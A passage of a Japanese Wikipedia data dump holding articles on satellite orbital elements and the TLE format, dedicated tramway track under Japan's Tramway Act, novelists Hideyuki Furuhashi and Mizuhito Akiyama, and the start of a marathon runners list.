軌道が地球および宇宙に対してどのように配置されるかを表すには、'''軌道傾斜角'''<math>i</math>、'''昇交点赤経'''''Ω''、軌道面内での楕円の主軸方向('''近地点引数'''''ω'')を用いる。
{{Indent|''Ω''は赤道面内、''ω''は軌道面内で測った角度を表す。}}
{{-}}
=== 元期における衛星の位置 ===
[[ファイル:orbital-element2.png|right|300px|楕円軌道]]
(右図の説明は, [[平均近点角]], [[真近点角]]などの解説ページと矛盾しているので注意。すなわち, 右図の平均近点角Mは, 上述ページの中ではEであり, 平均近点角Mではない。)
特定の日時('''元期''')において衛星が軌道上のどの地点にいるかを示すのが'''平均近点角'''<math>M</math>である 。これは、図形的には'''真近点角'''<math>v</math>あるいは'''離心近点角'''<math>E</math>のほうが理解しやすく、図のような関係にある。なお、円軌道(<math>e=0</math>)においては<math>M=E=v</math>である。
なお、'''平均運動'''(1日に軌道を周回する回数)と、'''軌道の(半)長径'''との関係は[[ケプラーの法則|ケプラーの第3法則]]により一意に定まるので、平均運動が軌道の大きさを示すことになる。実用上は、軌道の長径を直接測定できないが、周期(周回速度の逆数)は測定できるため、人工衛星のパラメータとしてはもっぱら平均運動を用いる。
これらの説明は、[[2体問題]]の解であるが、地球は球対称でなく、赤道半径が長い[[回転楕円体]]([[扁球]])に近いため、また[[月]]や[[太陽]]の[[重力]]、太陽の輻射圧により軌道要素は時々刻々と変動する([[摂動 (天文学)|摂動]])。さらに、低高度(高度800km以下)の衛星の場合、上層[[大気]]による抵抗(ドラグ)によって減速されて次第に高度が下がる。
{{Indent|人工衛星の高度を維持するためには、場合によっては[[スラスタ]]等の推進力を用いて加速することで下がった軌道を持ち上げる操作を行う必要がある。}}
軌道要素は変動するため定期的な更新が必要であり、人工衛星の運用にあたっては軌道の測定が重要である。[[アメリカ合衆国]]の[[北アメリカ航空宇宙防衛司令部|NORAD]]は定期的に大きさ10cm以上の人工天体のレーダー観測を行って軌道を測定しており、これらのうち[[軍事機密]]でないものはWebで入手可能である。このフォーマットは[[2行軌道要素形式|TLE]](Two Line Element)と呼ばれる。
外部リンクに上げたCelesTrakなどで公開しているTLEの例(「[[みどりII]]」の例)
ADEOS II
1 27597U 02056A 03154.76144939 -.00002335 00000-0 -96480-3 0 1637
2 27597 98.7101 228.1327 0000680 94.9473 265.1789 14.25759802 24471
フォーマットの解説はリンク先を参照されたい。
<!-- {{Indent|(いずれ具体的な数値の説明もいれたい)}} -->
<pre>
Line 1
Column Characters Description
----- ---------- -----------
1 1 Line No. Identification
3 5 Catalog No.
8 1 Security Classification
10 8 International Identification
19 14 YRDOY.FODddddd
34 1 Sign of first time derivative
35 9 1st Time Derative
45 1 Sign of 2nd Time Derivative
46 5 2nd Time Derivative
51 1 Sign of 2nd Time Derivative Exponent
52 1 Exponent of 2nd Time Derivative
54 1 Sign of Bstar/Drag Term
55 5 Bstar/Drag Term
60 1 Sign of Exponent of Bstar/Drag Term
61 1 Exponent of Bstar/Drag Term
63 1 Ephemeris Type
65 4 Element Number
69 1 Check Sum, Modulo 10
Line 2
Column Characters Description
----- ---------- -----------
1 1 Line No. Identification
3 5 Catalog No.
9 8 Inclination
18 8 Right Ascension of Ascending Node
27 7 Eccentricity with assumed leading decimal
35 8 Argument of the Perigee
44 8 Mean Anomaly
53 11 Revolutions per Day (Mean Motion)
64 5 Revolution Number at Epoch
69 1 Check Sum Modulo 10
</pre>
== 代表的な衛星軌道に対応する軌道要素 ==
;[[静止軌道]]
:軌道傾斜角=0度、離心率=0(真円)、平均運動=1回転/日
:平均近点角と近地点引数=静止点の地表の経度から決まる
:[[静止衛星]]で用いる。
;[[静止トランスファ軌道]]
:近地点が数百km、遠地点が約36,000 kmすなわち静止軌道の高度。
;[[モルニヤ軌道]]
:軌道傾斜角を=約63°、近地点引数=270°、平均運動=約2回/日
:摂動による[[近点移動|近地点引数の移動]]をほぼゼロになるよう選んだもの。
:[[ロシア]]のような高緯度地域で使いやすい衛星軌道。
;[[極軌道]]
:軌道傾斜角が90度(順行)または270度(逆行)に近い軌道。
:多くは[[低軌道]]衛星で用いられる。
(これらも具体的な衛星の軌道要素を示したほうがよい)
== 関連項目 ==
* [[地球]]
* [[天体]]
* [[ヨハネス・ケプラー]]
* [[天文学]]
* [[半同期軌道]] (SSO: Semi-Synchronous Orbit)
* [[回帰軌道]] (SSO: Sun-Synchronous Orbit ⇒ 半同期軌道と紛らわしいため Heliosynchronous orbit とも呼ばれる)
* [[準天頂衛星|準天頂軌道]] (QZO:quasi-zenith orbit)
== 外部リンク ==
* [http://celestrak.com/ CelesTrak] NORADの軌道要素データが入手できる
* [http://celestrak.com/columns/v04n03/ 軌道要素フォーマットの説明]
* [http://www.lizard-tail.com/isana/tle/misc/what_is_tle きどうようそのひみつ]
{{軌道}}
{{デフォルトソート:しんこうえいせいのきとうようそ}}
[[Category:人工衛星の軌道|*ようそ]] | null | 2022-09-14T13:09:07Z | false | false | false | [
"Template:-",
"Template:Indent",
"Template:軌道"
]
| https://ja.wikipedia.org/wiki/%E4%BA%BA%E5%B7%A5%E8%A1%9B%E6%98%9F%E3%81%AE%E8%BB%8C%E9%81%93%E8%A6%81%E7%B4%A0 |
6,731 | 専用軌道 | 専用軌道(せんようきどう)は、軌道法に基づく軌道における分類の一つ。以下の2つの用法が存在する。
法的には軌道法第一条第二項の「一般交通ノ用ニ供セサル軌道」を専用軌道としており、鉄道事業法第二条第六項で定義されている専用鉄道の軌道版といえるものである。敷設手続きなど詳細は専用軌道規則(大正12年12月29日内務省令第45号)で定められている。現在、この規則に基づく専用軌道は存在しないと思われる。
軌道法第二条では「軌道ハ特別ノ事由アル場合ヲ除クノ外之ヲ道路ニ施設スヘシ」と定めており、軌道法に基づく軌道は原則として道路以外の場所に敷設することはできない。
軌道建設規程では「道路上その他公衆の通行する場所に敷設される軌道」を「併用軌道」、その他の軌道を「新設軌道」として分けている。
なお、軌道法に基づく軌道のうち、道路の中央部に高架軌道を敷設した都市モノレールや新交通システム、あるいは「路面電車の高速化」と位置づけて道路下(地下)に敷設された大阪市営地下鉄なども、道路の上方空間または下方空間に敷設されていることから、法的には併用軌道の一種である。
一般的には、路面電車が走行する軌道や鉄道線路のうち、専用の敷地内に敷設されているものを「専用軌道」と呼ぶことが多い。たとえば富山地方鉄道富山港線や福井鉄道福武線などのように、道路の路面を走行する区間に軌道法、専用の敷地内を走行する区間に鉄道事業法がそれぞれ適用されている場合、たとえ鉄道事業法が適用されている区間の鉄道線路であっても「(軌道法の新設軌道を意味する)専用軌道」と呼ぶことがある。この場合は法律上の定義とは関係なく、単に専用の敷地内に設置されているかいないかの違いによって、併用軌道と専用軌道の言葉を使い分けていることになる。
以上のように、専用軌道という言葉は前後の文脈などによって意味が変わってくるため、使用に際しては注意が必要である。
軌道の構造は、通常の鉄道線路と同様にバラストを敷き詰めて、枕木にレール(軌条)を固定した、たわみ構造が用いられることが多いが、併用軌道ではその上に舗装が施されるのに対し、新設軌道では一般に通常の鉄道と同様とされる。
大都市の路面電車においては、高度成長期以降、道路上での自動車との併走により、交通渋滞に巻き込まれて運行ダイヤが守れなくなるなどの支障が出て、廃止される例が多かったが、全走行区間における新設軌道の割合が高いためその使命が失われず存続された例もある。たとえば併用軌道路線のほとんどが廃止された東京の都電においても、荒川線だけは王子電気軌道という私鉄の路線を買収した区間でもあって、専用(新設)軌道の割合がきわめて高かった。そのため荒川線については定時性の確保のため1972年(昭和47年)に概ね5年間の存続が決定され、1973年(昭和48年)の都議会で恒久的存続が決定された。東急電鉄でも、砧線(鉄道線)と玉川線(併用軌道)の廃止後も、全線が専用軌道である世田谷線が存続している。 | [
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| 専用軌道(せんようきどう)は、軌道法に基づく軌道における分類の一つ。以下の2つの用法が存在する。 運輸業に使用しない軌道のこと。
道路以外の敷地に敷設された新設軌道(しんせつきどう)の通称。実際には法的な定義とは関係なく、単に専用の敷地内に敷設された軌道や鉄道線路を指すことが多い。 | {{混同|専用鉄道}}
'''専用軌道'''(せんようきどう)は、[[軌道法]]に基づく[[軌道 (鉄道)|軌道]]における分類の一つ。以下の2つの用法が存在する。
* [[運輸業]]に使用しない軌道のこと。
* [[道路]]以外の敷地に敷設された'''新設軌道'''(しんせつきどう)の通称。実際には法的な定義とは関係なく、単に専用の敷地内に敷設された軌道や鉄道線路を指すことが多い。
== 専用軌道(軌道法第一条第二項) ==
法的には軌道法第一条第二項の「一般交通ノ用ニ供セサル軌道」を専用軌道としており、[[鉄道事業法]]第二条第六項で定義されている[[専用鉄道]]の[[軌道 (鉄道)|軌道]]版といえるものである。敷設手続きなど詳細は専用軌道規則(大正12年12月29日内務省令第45号)で定められている。現在、この規則に基づく専用軌道は存在しないと思われる。
==新設軌道(軌道法第二条)==
[[画像:北畠 新設軌道・併用軌道分界点.jpg|thumb|240 px|right|併用軌道(手前)、新設軌道(奥)]]
軌道法第二条では「軌道ハ特別ノ事由アル場合ヲ除クノ外之ヲ道路ニ施設スヘシ」と定めており、軌道法に基づく軌道は原則として道路以外の場所に敷設することはできない。
軌道建設規程では「道路上その他[[公衆]]の通行する場所に敷設される軌道」を「[[併用軌道]]」、その他の軌道を「新設軌道」として分けている<ref name="toshi34">{{Cite web|和書|author=今岡 和也|url=http://www.jtpa.or.jp/contents/pdf/toshi34.pdf |title=路面電車の活性化に向けて|publisher=都市と交通第34号 |accessdate=2020-02-23}}</ref>。
なお、軌道法に基づく軌道のうち、道路の中央部に[[高架橋|高架]]軌道を敷設した[[都市モノレール]]や[[新交通システム]]、あるいは「[[路面電車]]の高速化」と位置づけて道路下([[地下]])に敷設された[[大阪市営地下鉄]]なども、道路の上方空間または下方空間に敷設されていることから、法的には併用軌道の一種である。
== 専用の敷地内に設けられた軌道や鉄道線路 ==
一般的には、路面電車が走行する軌道や鉄道線路のうち、専用の敷地内に敷設されているものを「専用軌道」と呼ぶことが多い。たとえば[[富山地方鉄道富山港線]]や[[福井鉄道福武線]]などのように、道路の路面を走行する区間に軌道法、専用の敷地内を走行する区間に鉄道事業法がそれぞれ適用されている場合、たとえ鉄道事業法が適用されている区間の[[線路 (鉄道)|鉄道線路]]であっても「(軌道法の新設軌道を意味する)専用軌道」と呼ぶことがある。この場合は法律上の定義とは関係なく、単に専用の敷地内に設置されているかいないかの違いによって、併用軌道と専用軌道の言葉を使い分けていることになる。
以上のように、専用軌道という言葉は前後の文脈などによって意味が変わってくるため、使用に際しては注意が必要である。
==新設軌道の構造と利点==
軌道の構造は、通常の鉄道[[線路 (鉄道)|線路]]と同様に[[バラスト軌道|バラスト]]を敷き詰めて、[[枕木]]にレール([[軌条]])を固定した、たわみ構造が用いられることが多いが、併用軌道ではその上に[[舗装]]が施されるのに対し、新設軌道では一般に通常の鉄道と同様とされる<ref>和久田1999 22-25頁。</ref>。
大都市の[[路面電車]]においては、高度成長期以降、道路上での[[自動車]]との併走により、交通[[渋滞]]に巻き込まれて[[運行ダイヤ]]が守れなくなるなどの支障が出て、廃止される例が多かったが、全走行区間における新設軌道の割合が高いためその使命が失われず存続された例もある。たとえば併用軌道路線のほとんどが廃止された[[東京都電車|東京の都電]]においても、[[都電荒川線|荒川線]]だけは[[王子電気軌道]]という[[私鉄]]の路線を買収した区間でもあって、専用(新設)軌道の割合がきわめて高かった<ref name="toshi34" /><ref>和久田1999 10頁。</ref>。そのため荒川線については定時性の確保のため[[1972年]]([[昭和]]47年)に概ね5年間の存続が決定され、[[1973年]](昭和48年)の都議会で恒久的存続が決定された<ref name="toshi34" />。[[東急電鉄]]でも、[[東急玉川線#砧線|砧線]](鉄道線)と[[東急玉川線|玉川線]](併用軌道)の廃止後も、全線が専用軌道である[[東急世田谷線|世田谷線]]が存続している。
== 脚注 ==
<references />
== 参考文献 ==
* {{Cite book|和書|author=和久田康雄||year=1999|title=路面電車|publisher=[[成山堂書店]]|isbn=4425761014}}
== 関連項目 ==
* [[併用軌道]]
* [[軌道法]]
* [[鉄道事業法]]
* [[ライトレール]]
{{DEFAULTSORT:せんようきとう}}
[[Category:鉄道線路]]
[[Category:路面電車]]
[[Category:専用鉄道|*]] | 2003-04-14T11:15:36Z | 2023-11-19T07:43:18Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E5%B0%82%E7%94%A8%E8%BB%8C%E9%81%93 |
6,732 | 古橋秀之 | 古橋 秀之(ふるはし ひでゆき、1971年 -)は、日本の小説家、SF作家。神奈川県出身。
法政大学社会学部卒業。金原瑞人創作文芸ゼミ出身。秋山瑞人はゼミの後輩である。
漫画家も志望しており、大学卒業後はカプコンにグラフィック担当として入社。『バイオハザード』の初期開発に関わっていた。イラストレーターの前嶋重機は当時の同僚。
1995年、カプコン在籍中に執筆した『ブラックロッド』で第2回電撃ゲーム小説大賞・大賞受賞、小説家デビュー。
技巧的なパスティーシュを交えつつ、過去のサイバーパンクSF小説や武侠小説をよりコンピュータゲーム的なSFファンタジー小説として描く手法で、上遠野浩平、秋山瑞人、三雲岳斗らと共にライトノベルレーベルとしての電撃文庫の流れを作り、後進作家たちに強い影響を与えた。
小説での代表作は『ブラックロッド』『ブラッドジャケット』『ブライトライツ・ホーリーランド』の「ケイオス・ヘキサ」三部作、SF短編集『ある日、爆弾がおちてきて』など。
2010年代以降は、作家集団「GoRA」の一人としてオリジナルアニメーション企画『K』への参加、『僕のヒーローアカデミア』のスピンオフコミック『ヴィジランテ -僕のヒーローアカデミア ILLEGALS-』の漫画原作など、小説以外での活動が目立っている。 | [
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| 古橋 秀之は、日本の小説家、SF作家。神奈川県出身。 | {{出典の明記|date=2021年5月}}
{{Infobox 作家
| name = 古橋 秀之<br />(ふるはし ひでゆき)
| pseudonym = 古橋 秀之
| birth_date = {{生年月日と年齢|1971||}}
| birth_place = [[神奈川県]]
| alma_mater = [[法政大学]]社会学部
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{{読み仮名_ruby不使用|'''古橋 秀之'''|ふるはし ひでゆき|1971年 - }}は、[[日本]]の[[小説家]]、[[SF作家]]。[[神奈川県]]出身。
== 来歴 ==
[[法政大学]]社会学部卒業。[[金原瑞人]]創作文芸ゼミ出身。[[秋山瑞人]]はゼミの後輩である。
漫画家も志望しており、大学卒業後は[[カプコン]]にグラフィック担当として入社。『[[バイオハザード (ゲーム)|バイオハザード]]』の初期開発に関わっていた。イラストレーターの[[前嶋重機]]は当時の同僚。
[[1995年]]、カプコン在籍中に執筆した『[[ブラックロッド]]』で第2回[[電撃小説大賞|電撃ゲーム小説大賞]]・大賞受賞、小説家デビュー。
技巧的な[[パスティーシュ]]を交えつつ、過去の[[サイバーパンク]]SF小説や[[武侠小説]]をより[[コンピュータゲーム]]的なSFファンタジー小説として描く手法で、[[上遠野浩平]]、[[秋山瑞人]]、[[三雲岳斗]]らと共に[[ライトノベル]]レーベルとしての[[電撃文庫]]の流れを作り、後進作家たちに強い影響を与えた。
小説での代表作は『ブラックロッド』『[[ブラッドジャケット]]』『[[ブライトライツ・ホーリーランド]]』の「ケイオス・ヘキサ」三部作、SF短編集『[[ある日、爆弾がおちてきて]]』など。
[[2010年代]]以降は、[[覆面作家|作家]]集団「GoRA」の一人としてオリジナルアニメーション企画『[[K (アニメ)|K]]』への参加、『[[僕のヒーローアカデミア]]』のスピンオフコミック『[[ヴィジランテ-僕のヒーローアカデミア ILLEGALS-|ヴィジランテ -僕のヒーローアカデミア ILLEGALS-]]』の漫画原作など、小説以外での活動が目立っている。
== 作品リスト ==
=== 小説 ===
==== 『ブラックロッド』シリーズ ====
* [[ブラックロッド]](1996年2月10日 [[メディアワークス]] ISBN 4-07-304160-6 / 1997年4月10日 [[電撃文庫]] ISBN 4-07-306035-X)
* [[ブラッドジャケット]](1997年6月10日 電撃文庫 ISBN 4-07-306408-8)
* [[ブライトライツ・ホーリーランド]](2000年1月10日 電撃文庫 ISBN 4-8402-1392-5)
* ブラックロッド[全](2023年5月10日 WiZH ISBN 978-4-9105-6050-2) - 上記3作を合本。
==== タツモリ家の食卓 ====
* [[タツモリ家の食卓|タツモリ家の食卓 超生命襲来!!]](2000年5月10日 電撃文庫 ISBN 4-8402-1519-7)
* タツモリ家の食卓2 星間協定調印(2000年9月9日 電撃文庫 ISBN 4-8402-1613-4)
* タツモリ家の食卓3 対エイリアン部隊(2001年1月10日 電撃文庫 ISBN 4-8402-1713-0)
==== 超妹大戦シスマゲドン ====
* [[超妹大戦シスマゲドン]](2005年12月24日 [[ファミ通文庫]] ISBN 4-7577-2551-5)
* 超妹大戦シスマゲドン2(2007年2月28日 ファミ通文庫 ISBN 978-4-7577-3453-1)
==== その他 ====
* ソリッドファイター(1997年9月10日 電撃文庫 ISBN 4-07-306963-2)
** ソリッド・ファイター[完全版](2009年2月4日 [[アスキー・メディアワークス]] JAN 4942330700310)※書籍扱いではないためISBNなし
* [[サムライ・レンズマン]](2001年12月18日 [[徳間デュアル文庫]] ISBN 4-19-905092-2)
* [[IX (小説)|IX]](2003年2月10日 電撃文庫 ISBN 4-8402-2276-2)
* [[蟲忍 ―ムシニン―]](2004年3月18日 徳間デュアル文庫 ISBN 4-19-905146-5)
* [[ある日、爆弾がおちてきて]](2005年10月11日 電撃文庫 ISBN 4-8402-3182-6 / 2017年4月25日 [[メディアワークス文庫]]【新装版】 ISBN 978-4-04-892886-1)※新装版には短編「サイクロトロン回廊」追加収録
* [[冬の巨人]](2007年4月10日 徳間デュアル文庫 ISBN 978-4-19-905157-9 / 2014年7月10日 [[富士見L文庫]] ISBN 978-4-04-070243-8)
* 龍盤七朝 ケルベロス 壱(2009年12月16日 メディアワークス文庫 ISBN 978-4-04-868219-0)
* ガオポン! 不思議ナゾトキ迷走日記(2013年)※電子書籍のみ
* 百万光年のちょっと先(2018年2月2日 [[ジャンプ ジェイ ブックス|JUMP j BOOKS]] ISBN 978-4-08-703444-8)
==== ノベライズ ====
=====[[斬魔大聖デモンベイン]] =====
* 斬魔大聖デモンベイン 機神胎動(2004年8月1日 [[角川スニーカー文庫]]、ISBN 4-04-427808-3)
* 斬魔大聖デモンベイン 軍神強襲(2006年8月1日 角川スニーカー文庫 ISBN 4-04-427813-X)
* 斬魔大聖デモンベイン ド・マリニーの時計(2007年1月1日 角川スニーカー文庫 ISBN 4-04-427815-6)
===== その他 =====
* [[BASTARD!! -暗黒の破壊神-|BASTARD!! -暗黒の破壊神- NINJA MASTERガラ外伝]](2012年3月19日 JUMP j BOOKS ISBN 978-4-08-619540-9)
* [[ZETMAN|ALPHAS ZETMAN ANOTHER STORY]](2012年3月29日 JUMP j BOOKS ISBN 978-4-08-703260-4)
* [[K (アニメ)|K SIDE:BLUE]](2012年10月 [[講談社BOX]] ISBN 978-4-06-283817-7)
==== アンソロジー収録 ====
* [[マップス|マップス・シェアードワールド-翼あるもの-]](2008年2月15日 [[GA文庫]] ISBN 978-4-7973-4619-0)「町から来た先生」
=== 漫画原作 ===
* 黒きレ・ヴォルゥ -仮面の怪盗少女- (2010年、作画:[[松本規之]]、[[月刊ドラゴンエイジ|ドラゴンコミックスエイジ]]、上下巻) - 原案、設定協力
* K -THE FIRST-(2014年 - 2015年、作画:[[木村りん]]、[[Gファンタジーコミックス|Gファンタジーコミックス]]、全3巻) - ストーリー構成
* K MISSING KINGS(2015年、作画:[[汐田晴人]]、Gファンタジーコミックス、全1巻) - ストーリー構成
* K ドッグ&キャット(2015年、作画:木村りん、Gファンタジーコミックス、全1巻) - ストーリー原作
* K RETURN OF KINGS(2016年 - 2017年、作画:汐田晴人、Gファンタジーコミックス、全2巻) - ストーリー構成
* [[ヴィジランテ-僕のヒーローアカデミア ILLEGALS-]] (2016年 - 2022年、作画:[[別天荒人]]、原作:[[堀越耕平]]、[[ジャンプGIGA]]・[[少年ジャンプ+]]、全15巻) - 脚本
* スパイダーマン:オクトパスガール(2023年 - 、作画:別天荒人、少年ジャンプ+) - 脚本
=== アニメ ===
* [[K (アニメ)|K]](2012年) - 脚本(1・7・9話)
* 劇場版 K MISSING KINGS(2014年) - 脚本
* K RETURN OF KINGS(2015年) - 脚本(7・9話)
* K SEVEN STORIES Episode 2「SIDE:BLUE ~天狼の如く~」(2018年) - 脚本
* [[AYAKA -あやか-]](2023年) - 脚本
=== 映像化 ===
* [[ある日、爆弾がおちてきて]](2013年、[[フジテレビジョン|フジテレビ]]、監督:[[城宝秀則]])
== 関連項目 ==
* [[秋山瑞人]]
* [[前嶋重機]]
== 外部リンク ==
* {{Official site|http://www14.plala.or.jp/funore/}}
* {{twitter|furuhashi_h}}
{{Normdaten}}
{{DEFAULTSORT:ふるはし ひてゆき}}
[[Category:古橋秀之|*]]
[[Category:日本の小説家]]
[[Category:日本のSF作家]]
[[Category:日本のライトノベル作家]]
[[Category:カプコンの人物]]
[[Category:法政大学出身の人物]]
[[Category:神奈川県出身の人物]]
[[Category:1971年生]]
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"Template:出典の明記"
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| https://ja.wikipedia.org/wiki/%E5%8F%A4%E6%A9%8B%E7%A7%80%E4%B9%8B |
6,733 | 秋山瑞人 | 秋山 瑞人(あきやま みずひと、1971年10月26日 -)は、日本の小説家、SF作家。
山梨県出身。町の電気屋に生まれる。法政大学社会学部卒業。法政大学在学中、金原瑞人の小説創作ゼミに在籍。「瑞人」のペンネームは指導教授の名前にちなむ。
卒業後、コンピュータ会社に勤務。ゼミの先輩でゲーム会社に就職していた古橋秀之が作家デビューしたことに刺激されて、自作を電撃ゲーム小説大賞へ応募。締切を過ぎてしまい選考対象より漏れるが、作品が編集者の目にとまる。
デビューは『EGコンバット』(1998年 / メディアワークス)。以後は、SF、ライトノベルを中心に執筆活動を行っている。『イリヤの空、UFOの夏』により一躍有名になった。2006年8月に発売された電撃hpで、古橋秀之とのシェアワールド企画『龍盤七朝』が発表され、hp誌上で『龍盤七朝 DRAGONBUSTER』の短期集中連載を開始した。
2003年には「おれはミサイル」で日本短編部門で星雲賞を受賞。収録されている『ゼロ年代SF傑作選』では同人誌に葵星円の名義を語ることからブルース・スターリングに影響を受けていると解説されている。『イリヤの空、UFOの夏』ではオカルト全般の研究家として葵星円という人物が登場している。
秋山完と並べて「ダブル秋山」と称されることがある。
遅筆作家としても有名で、金原瑞人に心配されるほどである。『SFマガジン創刊700号記念アンソロジー』では「寡作をもって知られ」ると紹介された。
独特の軽快さを持つ文体は非常に評価が高く、「瑞っ子」と呼ばれる熱烈なファンが多数存在する。
葵星円(ブルー・スター・リング)名義での著作 | [
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| 秋山 瑞人は、日本の小説家、SF作家。 | {{出典の明記|date=2021年5月}}
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{{読み仮名_ruby不使用|'''秋山 瑞人'''|あきやま みずひと|[[1971年]][[10月26日]] - }}は、[[日本]]の[[小説家]]、[[SF作家]]。
== 概要 ==
[[山梨県]]出身。町の電気屋に生まれる。[[法政大学]]社会学部卒業。[[法政大学]]在学中、[[金原瑞人]]の小説創作ゼミに在籍。「瑞人」のペンネームは指導教授の名前にちなむ。
卒業後、コンピュータ会社に勤務。ゼミの先輩でゲーム会社に就職していた[[古橋秀之]]が作家デビューしたことに刺激されて、自作を[[電撃ゲーム小説大賞]]へ応募。締切を過ぎてしまい選考対象より漏れるが、作品が編集者の目にとまる。
デビューは『EGコンバット』(1998年 / [[メディアワークス]])。以後は、[[サイエンス・フィクション|SF]]、[[ライトノベル]]を中心に執筆活動を行っている。『[[イリヤの空、UFOの夏]]』により一躍有名になった。[[2006年]]8月に発売された[[電撃hp]]で、[[古橋秀之]]とのシェアワールド企画『[[龍盤七朝]]』が発表され、hp誌上で『[[龍盤七朝 DRAGONBUSTER]]』の短期集中連載を開始した。
2003年には「[[おれはミサイル]]」で日本短編部門で[[星雲賞]]を受賞。収録されている『ゼロ年代SF傑作選』では同人誌に葵星円の名義を語ることから[[ブルース・スターリング]]に影響を受けていると解説されている。『イリヤの空、UFOの夏』ではオカルト全般の研究家として葵星円という人物が登場している<ref>同作ではこの名前について、作中人物に「自意識過剰の中学生がどこかに詩を投稿するときのペンネームみたいな名前」と言わしめている。</ref>。
[[秋山完]]と並べて「ダブル秋山」と称されることがある。
遅筆作家としても有名で、[[金原瑞人]]に心配されるほどである<ref>[https://web.archive.org/web/20160709160409/http://www.kanehara.jp/blog/201106.html]</ref>。『[[S-Fマガジン|SFマガジン]]創刊700号記念アンソロジー』では「寡作をもって知られ」ると紹介された。
独特の軽快さを持つ文体は非常に評価が高く、「''瑞っ子''」と呼ばれる熱烈なファンが多数存在する。
==作品リスト==
===単著===
* [[E.G.コンバット]](1998年6月 - [[電撃文庫]] 既刊3巻)
* [[鉄コミュニケイション]](1998年10月 - 1999年3月 電撃文庫 全2巻)
* [[猫の地球儀]](2000年1月 - 2000年4月 電撃文庫 全2巻)
* [[イリヤの空、UFOの夏]](2001年10月 - 2003年8月 電撃文庫 全4巻)
* [[ミナミノミナミノ]](2005年1月 - 電撃文庫 既刊1巻)
* [[龍盤七朝 DRAGONBUSTER]](2008年5月 - 電撃文庫 既刊2巻)
=== アンソロジー収録 ===
* [[おれはミサイル]] (初出: 『SFマガジン』2002年2月号、2002年5月号)
**『ゼロ年代SF傑作選』(2010年2月 [[ハヤカワ文庫|ハヤカワ文庫JA]])/『コレクション 戦争×文学 5 イマジネーションの戦争』(2011年9月 [[集英社]])
*海原の用心棒 (初出: 『SFマガジン』2003年12月号、2004年4月号、2004年6月号)
**『SFマガジン700【国内編】 創刊700号記念アンソロジー』(2014年5月 ハヤカワ文庫SF)
===同人誌===
葵星円(ブルー・スター・リング)名義での著作
* [[電気椅子]](ペンタグラム7号掲載)
* [[数値記憶]](ペンタグラム8号掲載)
* [[猫の地球儀]](ペンタグラム9号掲載)
* [[鼠と猫のゲーム]](ペンタグラム10号掲載)
* [[霊蒼--GRAY BLUE--]](ペンタグラム12号掲載)
* [[さよならササヅカ]](ペンタグラム13号掲載)
* [[BLACK MAZIC]](ペンタグラム14号掲載)
==脚注==
<references />
==関連項目==
*[[セカイ系]]
{{星雲賞日本短編部門|第34回}}
{{Normdaten}}
{{デフォルトソート:あきやま みすひと}}
[[Category:日本の小説家]]
[[Category:日本のSF作家]]
[[Category:日本のライトノベル作家]]
[[Category:法政大学出身の人物]]
[[Category:山梨県出身の人物]]
[[Category:1971年生]]
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6,734 | マラソン選手一覧 | マラソン選手一覧(マラソンせんしゅいちらん)は、執筆済みもしくは執筆予定のマラソンの選手を一覧にしたもの。 | [
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'''マラソン選手一覧'''(マラソンせんしゅいちらん)は、執筆済みもしくは執筆予定の[[マラソン]]の選手を一覧にしたもの。
==男子マラソン選手==
*[[エリウド・キプチョゲ]]({{KEN}}) - 世界記録保持者、2016[[2016年リオデジャネイロオリンピック|リオ五輪]]・2020[[2020年東京オリンピック|東京五輪]]金メダリスト
*[[ハイレ・ゲブレセラシェ]]({{ETH}}) - 前世界記録保持者
*[[ポール・テルガト]]({{KEN}}) - 元世界記録保持者
*[[ハーリド・ハヌーシ]]({{USA}}) - 元世界記録保持者
*[[スティーブン・キプロティチ]]({{UGA}}) - 2012[[2012年ロンドンオリンピック|ロンドン五輪]]金メダリスト
*[[サムエル・ワンジル]]({{KEN}}) - 2008[[2008年北京オリンピック|北京五輪]]金メダリスト
*[[高岡寿成]]({{JPN}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]4位、現日本記録保持者
*[[尾方剛]]({{JPN}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]銅メダリスト、2007[[2007年世界陸上競技選手権大会|世界選手権]]5位、2008[[2008年北京オリンピック|北京五輪]]代表
*[[佐藤敦之]]({{JPN}}) - 2008[[2008年北京オリンピック|北京五輪]]代表、2009[[2009年世界陸上競技選手権大会|世界選手権]]6位
*[[大崎悟史]]({{JPN}}) - 2007[[2007年世界陸上競技選手権大会|世界選手権]]6位、2008[[2008年北京オリンピック|北京五輪]]代表
*[[ステファノ・バルディーニ]]({{ITA}}) - 2004[[アテネオリンピック (2004年)|アテネ五輪]]金メダリスト
*[[バンデルレイ・デリマ]]({{BRA}}) - 2004[[アテネオリンピック (2004年)|アテネ五輪]]銅メダリスト
*[[ビクトル・ロスリン]]({{SUI}}) - 2007[[2007年世界陸上競技選手権大会|世界選手権]]銅メダリスト
*[[油谷繁]]({{JPN}}) - 2001[[2001年世界陸上競技選手権大会|世界選手権]]、2003[[2003年世界陸上競技選手権大会|世界選手権]]、2004[[アテネオリンピック (2004年)|アテネ五輪]]連続5位
*[[諏訪利成]]({{JPN}}) - 2004[[アテネオリンピック (2004年)|アテネ五輪]]6位、2007[[2007年世界陸上競技選手権大会|世界選手権]]7位
*[[国近友昭]]({{JPN}}) - 2004[[アテネオリンピック (2004年)|アテネ五輪]]代表
*[[川嶋伸次]]({{JPN}}) - 1997年[[1997年世界陸上競技選手権大会|世界選手権]]、2000[[シドニーオリンピック|シドニー五輪]]代表
*[[犬伏孝行]]({{JPN}}) - 2000[[シドニーオリンピック|シドニー五輪]]代表,元日本記録保持者
*[[佐藤信之]]({{JPN}}) - 1999[[1999年世界陸上競技選手権大会|世界選手権]]銅メダリスト、2000[[シドニーオリンピック|シドニー五輪]]代表
*[[藤田敦史]]({{JPN}}) - 1999[[1999年世界陸上競技選手権大会|世界選手権]]6位,元日本記録保持者
*[[清水康次]]({{JPN}}) - 1999[[1999年世界陸上競技選手権大会|世界選手権]]7位
*[[エリック・ワイナイナ]]({{KEN}}) - 1996[[アトランタオリンピック|アトランタ五輪]]銅、2000[[シドニーオリンピック|シドニー五輪]]銀メダリスト
*[[李鳳柱]]({{KOR}}) - 1996[[アトランタオリンピック|アトランタ五輪]]銀メダリスト
*[[谷口浩美]]({{JPN}}) - 1991[[1991年世界陸上競技選手権大会|世界選手権]]金メダリスト,1992[[バルセロナオリンピック|バルセロナ五輪]]8位,1996[[アトランタオリンピック|アトランタ五輪]]代表
*[[早田俊幸]]({{JPN}})- 1997年福岡国際マラソン2位
*[[服部孝宏]]({{JPN}})- 1997[[東京国際マラソン]]2位,1997[[世界陸上競技選手権大会]]代表
